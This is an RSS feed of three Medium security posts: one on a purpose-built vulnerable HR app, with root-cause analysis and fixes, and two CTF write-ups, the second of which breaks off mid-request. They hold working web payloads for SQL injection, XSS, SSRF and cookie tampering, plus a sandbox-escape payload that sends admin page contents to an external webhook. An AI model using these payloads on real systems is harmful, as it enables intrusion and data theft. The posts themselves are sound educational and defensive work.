<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amr Khaled on Medium]]></title>
        <description><![CDATA[Stories by Amr Khaled on Medium]]></description>
        <link>https://medium.com/@amro.khaledo826?source=rss-6f7730ee94fd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*REVSlLyMvkC0wtumJNCr0g.jpeg</url>
            <title>Stories by Amr Khaled on Medium</title>
            <link>https://medium.com/@amro.khaledo826?source=rss-6f7730ee94fd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:24:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amro.khaledo826/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Under the Hood of DVHRA: Root Cause Analysis and Mitigations in Modern Web Apps]]></title>
            <link>https://medium.com/@amro.khaledo826/under-the-hood-of-dvhra-root-cause-analysis-and-mitigations-in-modern-web-apps-9787a081a61e?source=rss-6f7730ee94fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9787a081a61e</guid>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[secure-programming]]></category>
            <dc:creator><![CDATA[Amr Khaled]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 17:48:32 GMT</pubDate>
            <atom:updated>2026-08-10T17:48:32.074Z</atom:updated>
            <content:encoded><![CDATA[<p>Lately, I’ve been wanting to dive deeper into web vulnerabilities to truly understand how they arise in today’s modern web applications.</p><p>To do this, I created <strong>DVHRA (Damn Vulnerable HR App)</strong> , a custom, CTF-style vulnerable web application. Built on a Spring Boot backend, it mimics a standard corporate HR recruitment portal. While it’s always fun to pop alerts and dump databases, I wanted to take a step back with this project.</p><p>In this write-up, we are going to look under the hood of DVHRA. We’ll skip the basic exploitation steps and focus heavily on the <strong>Root Cause Analysis (RCA)</strong> and the precise <strong>Mitigations</strong> required to stop these attacks dead in their tracks.</p><p>At first glance, DVHRA looks like your everyday, unsuspecting corporate portal. If you fire up the web app, you are greeted with what appears to be a solid, well-meaning platform designed to hire top talent. But to an attacker’s eye, it’s a playground of misconfigurations.</p><blockquote>The attack surface is cleanly mapped out across five core features:</blockquote><ul><li><strong>The Job Search:</strong> A standard search bar designed to query the database for available open positions.</li><li><strong>The Application Form:</strong> A submission form featuring a name input field that kindly reflects your input back to you upon success.</li><li><strong>The Profile Importer:</strong> A backend tool that takes a provided LinkedIn URL input and fetches the candidate’s data.</li><li><strong>Employee Self-Service:</strong> A simple “View My Profile” button that loads the user’s personal data page.</li><li><strong>Admin Panel:</strong> An exclusive Admin Panel sitting in the navigation bar, explicitly restricted and off-limits to anyone without administrator privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Ehg5Trsd4dfp98HasR7f6g.png" /></figure><h3><strong>SQL Injection (SQLi) — Job Search</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-wti36eZIQKgfHpg75yrWw.png" /><figcaption>A normal search bar for finding available job positions</figcaption></figure><p>By inputting a classic payload like &#39; OR 1=1 --, the application vomits the entire database onto the screen.</p><p>First flag : FLAG{SQLi_D4T4_DUMPed}</p><p><strong>Root Cause Analysis (Code Level)</strong></p><p>to understand how this happened we need to take a look at the backend code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BlC4oXiHX2K3fCKvd5UKew.png" /></figure><p>here the application first checks if the input is empty if not then it passes the query<br> that query is : “SELECT * FROM job_positions WHERE status = ‘public’ AND title = ‘“ + title + “‘“;</p><p>1. <strong>‘ (Single Quote):</strong> Closes the first string literal that the developer intended for the title parameter.</p><p>2. <strong>OR 1=1:</strong> Injects a condition that always evaluates to true. Because it is an OR statement, it forces the entire WHERE clause to return true for every row in the database, ignoring the status = ‘public’ restriction.</p><p>3. <strong>— (Double Dash):</strong> Comments out the remainder of the original SQL query, ensuring no syntax errors occur from leftover characters (like the final closing quote).</p><p><strong>Mitigation:</strong></p><p><strong>1.Parameterized Queries (Prepared Statements) : </strong>The root cause of the SQLi was the direct concatenation of user input into the SQL string. To fix this, we must use parameterized queries. This ensures that the database treats the user input strictly as data (a literal value) and never as executable code, completely neutralizing injection attempts.</p><p>The fix: Instead of concatenating the title string directly, we use named parameters (e.g., :title) and bind the user input to that parameter using the EntityManager.</p><blockquote><strong>String query = “SELECT * FROM job_positions WHERE status = ‘public’ AND title = :title”;</strong></blockquote><p>2.<strong>Input Validation and Sanitization:</strong> Accept only expected data formats through strict allow-lists (e.g., ensuring the job title search field contains only alphanumeric characters and spaces, explicitly rejecting SQL control characters like single quotes or double dashes).</p><h3>2. Reflected Cross-Site Scripting (RXSS) — Job Application Reflection</h3><p>The next section features a form for users to submit a job application by providing their full name. Under normal circumstances, you enter your name, and the webpage reflects it back in a success banner: <em>“Thank you for applying for: John Doe”</em>.</p><p><strong>The Exploitation:</strong> When you input a simple XSS payload instead of a normal name, the browser assumes the payload is part of the page’s code. It executes the injected JavaScript, popping an alert box that reveals the session’s cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*b77AEmfvRzDeEouGEtYdrA.png" /><figcaption><strong>Payload:</strong> &lt;img src=0 onerror=alert(document.cookie)&gt; (As you can see in the success banner, the application attempts to render our raw input as an actual image, which immediately triggers the onerror event and executes our JavaScript.)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4eJh_lQ9Gy-XJCGMO9Yk-w.png" /><figcaption><strong>Flag:</strong> FLAG{XSS_C00K13_H34ST}</figcaption></figure><p><strong>Root Cause Analysis (Code Level):</strong></p><p>Why did that happen? The application simply passes the raw input directly to the frontend model without any sanitization or encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PZmNLvQVEIKYcaHj9WVavQ.png" /></figure><p><strong>Mitigation:</strong></p><ol><li><strong>Output Encoding:</strong> Convert special characters (like &lt;, &gt;, &amp;, &#39;, and &quot;) into safe, non-executable equivalents before displaying user data in the browser. Use context-aware encoding depending on where the data goes (HTML body, attributes, JavaScript, or CSS).</li><li><strong>Input Validation &amp; Sanitization:</strong> Validate incoming data against a strict allow-list of expected formats (e.g., matching an email regex). Sanitize HTML input using trusted parsing libraries like DOMPurify if rich text is permitted.</li><li><strong>Content Security Policy (CSP):</strong> Deploy strict HTTP response headers (Content-Security-Policy) to restrict where scripts can be loaded from and to block dangerous inline scripts or eval() execution.</li><li><strong>Secure Cookies (HttpOnly flag):</strong> We must flag sensitive cookies as HttpOnly. as a defense in depth This instructs the browser to forbid JavaScript (like document.cookie) from accessing the cookie, preventing session hijacking via XSS.</li></ol><h3><strong>3. Server-Side Request Forgery (SSRF) — LinkedIn Profile</strong></h3><p>Here, the app offers a feature to import a candidate’s LinkedIn profile. Normally, you paste a public LinkedIn URL, and the server fetches the data to pull their experience into the recruitment database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gTanccnhkpCLk4sSFGC9gg.png" /></figure><p><strong>The Exploitation:</strong> If you change the URL path to an internal loopback address instead of a normal LinkedIn URL, the server blindly fetches it. The application acts as a proxy, fetching data from its own restricted internal network, bypassing external access blocks and revealing a hidden internal endpoint.</p><p><strong>Payload</strong>: <a href="http://127.0.0.1:8085/internal">http://127.0.0.1:8085/internal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bd0OJk6fVD8Ve_ubNJdA9A.png" /><figcaption>(In a normal black/Gery-box test, discovering this specific endpoint and port requires a bit of recon. You would typically fuzz the internal IP ranges and ports using a tool like Burp Intruder until you hit a valid response.)</figcaption></figure><p><strong>Flag:</strong> FLAG{SSRF_P1V0T_M4ST3R}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tAzMydxt6hHltcIUzC4_ww.png" /><figcaption>I used burp to intercept the request and analyze the response for this one</figcaption></figure><p>and got the flag fooling the server to fetch a request from a private internal endpoint as I’m on the localhost</p><p><strong>Root Cause Analysis (Code Level):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*IKGstAVNWVpRG0DUzrjQQw.png" /></figure><p>The vulnerability exists because the backend blindly trusts the user-provided profileUrl string. It passes this raw input directly into Spring’s RestTemplate.getForObject() method. Because there is no allow-listing or validation checking if the domain is actually LinkedIn, the server obediently executes an HTTP GET request to whatever internal or external address the attacker provides.</p><p><strong>Mitigation</strong>:</p><ol><li>URL Validation (Allowlisting): The application must validate the user input against a strict list of permitted domains (e.g., only allowing URLs that start with [https://www.linkedin.com/] before executing the request.</li><li>Block Internal IPs: Implement network-level or code-level checks to explicitly reject any user-supplied URLs that point to internal IP addresses like 127.0.0.1, localhost, or other private network ranges.</li></ol><h3><strong>4. Insecure Direct Object Reference (IDOR) — Employee Profile Access</strong></h3><p>The dashboard contains a self-service feature for employees to view their own profile. Normally, clicking “View My Profile” directs you to your profile page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1l3xatt-EdCKs4TeVFuGVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CMErarnpwjnVqQkOO3IMxA.png" /><figcaption>As you can see it’s using your assigned user ID in the URL (e.g., /profile?id=1).</figcaption></figure><p><strong>The Exploitation:</strong></p><p>Changing the id parameter to a different number (like id=2) returns a &quot;user not found&quot; error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Nw1KV1TUaygUvI7n1WNQpQ.png" /><figcaption>This indicates the server is trying to fetch a user profile based entirely on the parameter.</figcaption></figure><p>By fuzzing the ID values using Burp Intruder, you eventually hit id=1337, which belongs to an Admin (Sarah Mitchell).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uU1AejjejneBi-CLH0TPNg.png" /></figure><p><strong>Flag:</strong> FLAG{IDOR_ACC3SS_1337_PR0FILE}</p><p>Root Cause Analysis (Code Level):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfrG5s_sHZ64ejSZh5P3-g.png" /></figure><p><strong>Mitigation:</strong></p><ol><li><strong>Authorization Checks:</strong> The backend must implement strict access controls. Before fetching and displaying data, the app must verify that the requested id matches the ID tied to the currently logged-in user&#39;s session.</li><li><strong>Unpredictable Identifiers:</strong> Instead of using easy-to-guess, sequential numbers for user IDs, developers should use random identifiers like UUIDs so an attacker cannot simply iterate and guess the next profile ID.</li></ol><h3><strong>5. Broken Access Control (BAC) — Admin Panel Bypass</strong></h3><p>The top navigation bar contains a link to the Admin Panel (/admin). If a standard user clicks this link, they are redirected back to the dashboard with an error message: <em>&quot;ACCESS DENIED: You do not have admin privileges.&quot;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4BpvkmY9ZrAR5C4BOOmEeg.png" /></figure><p><strong>The Exploitation:</strong> Let’s open our Burp Suite again for this one. Try to click on the Admin button and intercept the request. When we check the request headers, cookie says admin_access=false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*q-qG1lqhnPgik7PSDxZMjQ.png" /><figcaption>Chang it to true and forward the request</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jeWnONDKWCOedAAMKxhHow.png" /><figcaption><strong>Flag:</strong> FLAG{ACCESS_CONTROL_BYPASSED_SUCCESSFULLY}</figcaption></figure><p><strong>Root Cause Analysis (Code Level):</strong></p><p>To understand why this happened, we need to look at how the backend handles the /admin route. The application relies entirely on client-side input to make sensitive authorization decisions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ODbJPZ0yJmjjs_YT-Xc2kA.png" /></figure><p>The backend code simply checks the literal string value of the admin_access cookie passed from the browser. Because cookies are stored on the client side and sent with every request, an attacker has complete control over them. The server fails to verify the user’s actual role independently.</p><p><strong>Mitigation:</strong></p><ol><li><strong>Server-Side Authorization:</strong> Never trust client-controlled data (like cookies, hidden HTML fields, or HTTP headers) for access control. Validate user permissions strictly on the server side using a robust security framework (like Spring Security).</li><li><strong>Secure Session Management:</strong> Instead of storing the user’s privilege level directly in a manipulatable cookie, the server should assign a randomized, unguessable Session ID upon login. When a request to /admin is made, the server looks up the session ID, confirms via the database that the user holds the &quot;Administrator&quot; role, and only then grants access.</li></ol><h3>Source Code &amp; Repository</h3><p>The complete source code for the Damn Vulnerable HR App (DVHRA) is publicly available for further research and local testing. The repository includes both the original, purposefully vulnerable Spring Boot backend infrastructure and a dedicated damn-secured-app folder containing the fully patched version with all the mitigations discussed above applied.</p><p><a href="https://github.com/maro826g/damn-vuln-app"><strong>🔗 View the DVHRA Source Code on GitHub</strong></a></p><p><a href="https://github.com/maro826g/damn-vuln-app/tree/main/damn-secured-app"><strong>🔗 View the DVHRA Source Secured Code on GitHub</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9787a081a61e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UMD CTF 2026 Write-up: Open-Insight]]></title>
            <link>https://medium.com/@amro.khaledo826/umd-ctf-2026-write-up-open-insight-c99948656e72?source=rss-6f7730ee94fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c99948656e72</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-ctf-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Amr Khaled]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 09:44:44 GMT</pubDate>
            <atom:updated>2026-04-29T12:55:30.310Z</atom:updated>
            <content:encoded><![CDATA[<h3>UMD CTF writeup (<strong>open-insight</strong>)</h3><p>After a strong performance at <strong>UMD CTF 2026</strong>, where my team (<strong>G4mra</strong>) and I secured a <strong>top-ten finish</strong> in the Student Division and <strong>35th place globally</strong>, I wanted to dive into one of the most interesting web challenges I tackled during the competition: <strong>Open-Insight</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*9JrjI_Xh1pCVOsPVoVDkuQ.png" /></figure><h3><strong>Challenge Overview</strong></h3><p>the challenge infrastructure consisted of two main components:</p><p><strong>1.The Spreadsheet App:</strong> A web interface where users can craft workbooks using CSV-like cells.</p><p><strong>2.The Admin Bot:</strong> A “Request Review” feature that sends an Admin Bot to view a specific workbook ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYfh9CY4LohYLaQwI-iFdg.png" /><figcaption>request review URL</figcaption></figure><p>and The Spreadsheet page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ifZTkQphbjylFG7g1-2V0w.png" /><figcaption>as you can see it says you can use =expression</figcaption></figure><p>so this field is made for expression so if i tried =1+1 it will output 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*3qZ7mYUba0CjjiTfZcRW7A.png" /></figure><p>so what if we try to inject malicious something like =hyperlink(“https://attacker.com”) or =alert(), or eval (“alert()”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*1yvShV2wJb-GFmRhHBsz9w.png" /></figure><p>and this shows that the environment was heavily sandboxed. Standard payloads like =hyperlink(), =alert(), or =eval() were restricted or failed to execute in the browser’s JavaScript engine.</p><blockquote>It was like a room where the only tools on the table are a calculator and a pencil. You can do all the math you want, but you can’t reach the “door” (the browser’s JS engine)</blockquote><p>so now the plan is to escape the sandbox so that i can send my malicious workbook to the admin to review it and steal his cookie on the way</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FfFSJFtyedUg5W%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExODdpenk4bXQzczVrN3B3NmV1MWI3NnluODE2bDk5aWw4cHk0aTZvcyZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FfFSJFtyedUg5W%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExODQ1a3B6MXdjcWdtcHRhNGdwdnNuYW54NnY4bjR0eGg4eGhqdThudiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FfFSJFtyedUg5W%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="183" frameborder="0" scrolling="no"><a href="https://medium.com/media/7bb4cb61340860eca3f43384aceca56d/href">https://medium.com/media/7bb4cb61340860eca3f43384aceca56d/href</a></iframe><h3><strong>The Escape: Climbing the Prototype Chain</strong></h3><p>so in order to break out of the sandbox, I used a golden rule in JavaScript: <strong>“Everything is an Object.”</strong> I figured if I could just “climb” the object tree, I’d eventually reach the “Big Boss” — the global constructor that can run any code I want.</p><p>Here’s how the plan went down</p><h4>1. The Camouflage</h4><p>I started the expression normally with =1+. This keeps the spreadsheet engine from getting suspicious while I set the trap.</p><h4>2. The Boolean Hook</h4><p>I used the keyword true and asked it: &quot;Who created you?&quot; by using the .constructor property. It replied: &quot;The <strong>Boolean function</strong>.&quot; My payload now looked like this: =1+true.constructor.</p><h4>3. Reaching the “Big Boss”</h4><p>Then. I asked that Boolean function: “And who created <em>you</em>?” again using .constructor. Since it’s a function, the creator is the <strong>Global Function Constructor</strong>.</p><p>Now I was at the top of the chain. Payload: =1+true.constructor.constructor</p><p>Once I reached the Global Function Constructor, I was essentially in the “brain” of the browser. I asked it to create a new function containing the malicious JavaScript I wanted.</p><p>the payload till now</p><blockquote>=1+(true).constructor.constructor(‘alert(1)’)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*nNNyQXGmRiNvXTl7ECxY9A.png" /><figcaption>means i already broke out of the sandbox and created this function</figcaption></figure><p>and since the constructor isn’t like fetch and doesn&#39;t auto-run, it just builds the function and waits in memory. We added those two brackets () at the very end to actually <strong>&quot;call&quot;</strong> the function and make our payload fire!</p><p>our payload till now:</p><blockquote>=1+(true).constructor.constructor(‘alert(1)’)()</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*IaMi7gTvyDDO5rmJVpfPgg.png" /><figcaption>and it finally fired an alert</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FxTiN0CNHgoRf1Ha7CM%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdWx6eXRsbWs4YW14enVqdDJ6ZXUxMTZta3lkdjl5amY4MW9jaGVhaiZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FxTiN0CNHgoRf1Ha7CM%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbThreGY2YTI2OWJjeTViZ3d1NDg1ZHBkbnlxZGUxcndoZWR2dTBvbyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FxTiN0CNHgoRf1Ha7CM%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="426" frameborder="0" scrolling="no"><a href="https://medium.com/media/197904f3121a37685350fbebdddb3b9e/href">https://medium.com/media/197904f3121a37685350fbebdddb3b9e/href</a></iframe><p>so now let’s turn this code into something dangerous and make it alert something useful so we used</p><blockquote>=1+(true).constructor.constructor(‘alert(document.cookie)’)()</blockquote><p>aaaand boom ❌💣</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZEY7eLMD4fBy6OoB0ebLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_G1zibzB89Fvs-3lpJw1zA.png" /><figcaption>the website uses httpOnly flag which means i can’t steal the admins cookie</figcaption></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F6oFNB3JPuLpAs%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMnB5aTdpNGk1MHhyeWlwbXYzYTN3eTh0ZjU4eno5amljOWdxcmh6dyZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2F6oFNB3JPuLpAs%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeXY1eDNuN3hkZGFjdWttc3Q0OWgwbThqbjV0ejRhbzZzcDUyZmg2eCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F6oFNB3JPuLpAs%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/d8718c18090c50b04bfc4cded753823b/href">https://medium.com/media/d8718c18090c50b04bfc4cded753823b/href</a></iframe><h3><strong>The comeback: </strong>If You Can’t Steal the Keys, Steal the House</h3><p>now let&#39;s see how can we make use of our finding even tho if we can&#39;t steal cookies</p><p>I realized that even if I couldn’t <em>be</em> the Admin, I could still see exactly what the Admin sees. If I can’t steal the session keys, I’ll just “kidnap” the entire HTML source code of the page and read it at home</p><p>So to pull this off, I crafted a fetch request to my Webhook link. I switched the method to <strong>POST</strong> (because a whole HTML page is way too &quot;thick&quot; for a simple GET request) and stuffed the entire page content into the request body.</p><p>and our payload now looks like:</p><blockquote>=0 + ((true).constructor.constructor(“fetch(‘https://mywebhook.site&#39;, {method:’POST’, body:JSON.stringify({html:document.documentElement.innerHTML, session:sessionStorage})})”)() || 0)</blockquote><p>And just like that, the Admin’s private view was sitting in my inbox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*56lzzLcCJlB9mB8bMidzcw.png" /><figcaption>and found that link in the main page which leads to an admin panel</figcaption></figure><p>I didn’t need to steal the Admin’s identity if I could just make the Admin do the shopping for me. I tweaked the payload for a “Leapfrog” attack: I’d make the Bot fetch the /admin page, grab the contents, and then ship them right back to my server.</p><blockquote>=0 + ((true).constructor.constructor(“fetch(‘/admin’).then(r=&gt;r.text()).then(t=&gt;fetch(‘https://mywebhook.site&#39;,{method:&#39;POST&#39;,body:t}))&quot;)() || 0)</blockquote><p>I hit “Report to Admin” one last time and waited. A few seconds later, my listener pinged. I opened the request body after analyzing the request body i finally found that flag laying there waiting for me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hirA1K6UaCyu42SaPHR_RQ.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FoumdjgdfS0K6awiJPa%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZGFqaTA5YzZsM3RvbG8zdXpueng5N2ZycWt4YnBydzk0cmR0eHh4ayZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FoumdjgdfS0K6awiJPa%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbnQ4aGF1YXpxcHpvOWpoYjc0MWI3Y3cxdGR6Z3IwMDlremM4YzVjeCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FoumdjgdfS0K6awiJPa%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/43b822275d9e1e8c49d28bde29d33848/href">https://medium.com/media/43b822275d9e1e8c49d28bde29d33848/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*wy-EhPxt_0ZiKAZtafYj7Q.png" /></figure><h4>A Quick Note:</h4><p>While fetch worked for me in the heat of the moment, I realized after the contest that in a strictly CORS-aware environment, fetch POST to an external webhook is a huge red flag, To make it more reliable, you can use a <strong>new Image()</strong> tag. Browsers are much more relaxed about images they&#39;ll load a &quot;picture&quot; from almost anywhere without asking for permission, so your payload would look like</p><blockquote>=0 + ((true).constructor.constructor(“<br> var hook = ‘https://webhook.site/a1721c32-1026-4269-8959-1ee8d96015e0&#39;;<br> fetch(‘/admin’).then(r=&gt;r.text()).then(html =&gt; {<br> new Image().src = hook + ‘?loot=’ + encodeURIComponent(html.substring(0, 5000));<br> });<br>“)() || 0)</blockquote><h3><strong>Mitigation</strong>: Building a Better Sandbox:</h3><p>The core issue was that the application tried to “clean” the input by looking for bad words (blocklisting). As we proved, a little prototype chain climbing is all it takes to bypass those filters.</p><p>To fix this, the developers should implement these three layers of defense:</p><h4>1. Allowlisting over Blocklisting</h4><p><strong>Strict Allowlisting (Regex):</strong> Don’t look for what’s <em>bad</em>; only allow what’s <em>good</em>. Use a Regex that only permits digits 0-9, basic math operators +-*/, and a few pre-defined safe functions. If it’s not on the &quot;VIP list,&quot; the parser should kill it immediately.</p><h4>2. Hardened Environment</h4><p>If you <em>must</em> run dynamic code, do it in a truly isolated environment, Use Object.freeze() on base objects. If a hacker can’t &quot;climb&quot; the constructor chain, the sandbox becomes a dead end. For heavy lifting, use isolated libraries like the <strong>ShadowRealm API</strong>.</p><h4>3. Content Security Policy (CSP)</h4><p>As we saw during the exploit, a strong CSP could have been the final “Safety Net.” Setting a strict connect-src &#39;self&#39; would have blocked my external fetch, the XSS would still fire, but the data would be trapped inside the building</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c99948656e72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UniVsThreats26 CTF Write-up:(Nightmare Customer)]]></title>
            <link>https://medium.com/@amro.khaledo826/univsthreats26-ctf-write-up-nightmare-customer-5446cf1859f1?source=rss-6f7730ee94fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5446cf1859f1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[websecurity-testing]]></category>
            <category><![CDATA[business-logic]]></category>
            <category><![CDATA[business-logic-flaw]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Amr Khaled]]></dc:creator>
            <pubDate>Sun, 01 Mar 2026 17:35:10 GMT</pubDate>
            <atom:updated>2026-03-02T00:23:12.190Z</atom:updated>
            <content:encoded><![CDATA[<p>My team and I recently took part in <strong>UniVsThreats26</strong>, an international competition. Out of <strong>500+ teams</strong>, we finished in <strong>#77th place</strong>! While playing, there was such and interesting challenge that was all about <strong>Business Logic Vulnerabilities</strong>. It was a perfect example of how small mistakes in a system’s logic can lead to a huge security break. I wanted to share the exact steps took to beat it.</p><p><em>lets get into it</em></p><p><strong>first, Overview:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*gWYGgceNz3FeZX5M104mdA.png" /><figcaption>So the challenge was a store with a bunch of locked items, and you had to buy them one by one to get the flag. The catch? You only start with <strong>100 pounds</strong>, but the items get crazy expensive. You basically had to use a different vulnerability for every single item to move up the ranks from <strong>rookie </strong>to <strong>elite</strong>.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeRnHXmOG6QZU-9NU0xjOQ.png" /></figure><p><strong>So starting with Item 1: </strong>The Coupon Toggle Trick</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xur-h_XNCRecXBZ58NWEXw.png" /></figure><p>I noticed two discount codes: one on the item page (gives you 15% off for the item), and one for new customers (gives 10% off for the new customers). If I tried to use the “new customer” code twice, it said “code already in use.” But then I realized the developer only checks the <em>last</em> code you added. I started alternating between them — adding the item code, then the new customer code, then the item code again. It kept accepting them! I did this until the price dropped from <strong>300 pounds</strong> to <strong>92.47</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VGVl0J3La4CEteiDqnhUxA.png" /></figure><p><strong>Result:</strong> Bought the item, got a 100-pound bonus, and hit <strong>Silver</strong> status!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtfbRXc7Tv_G5dnHaXCiiw.png" /></figure><p><strong>So moving on to item 2:</strong> The Negative Quantity Balance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3W6e_Bcju9kTUhTuWrQ9mA.png" /></figure><p>The next item was <strong>500 pounds</strong>. While looking at the request, I saw the quantity parameter and tried changing it to -1.</p><p>the request :</p><pre>POST /cart/add HTTP/1.1<br>Host: 194.102.62.175:26350<br>Content-Length: 426<br>Accept-Language: en-US,en;q=0.9<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3AcCMwwB9uioVyh1<br>Accept: */*<br>Origin: http://194.102.62.175:26350<br>Referer: http://194.102.62.175:26350/product/6<br>Accept-Encoding: gzip, deflate, br<br>Cookie: 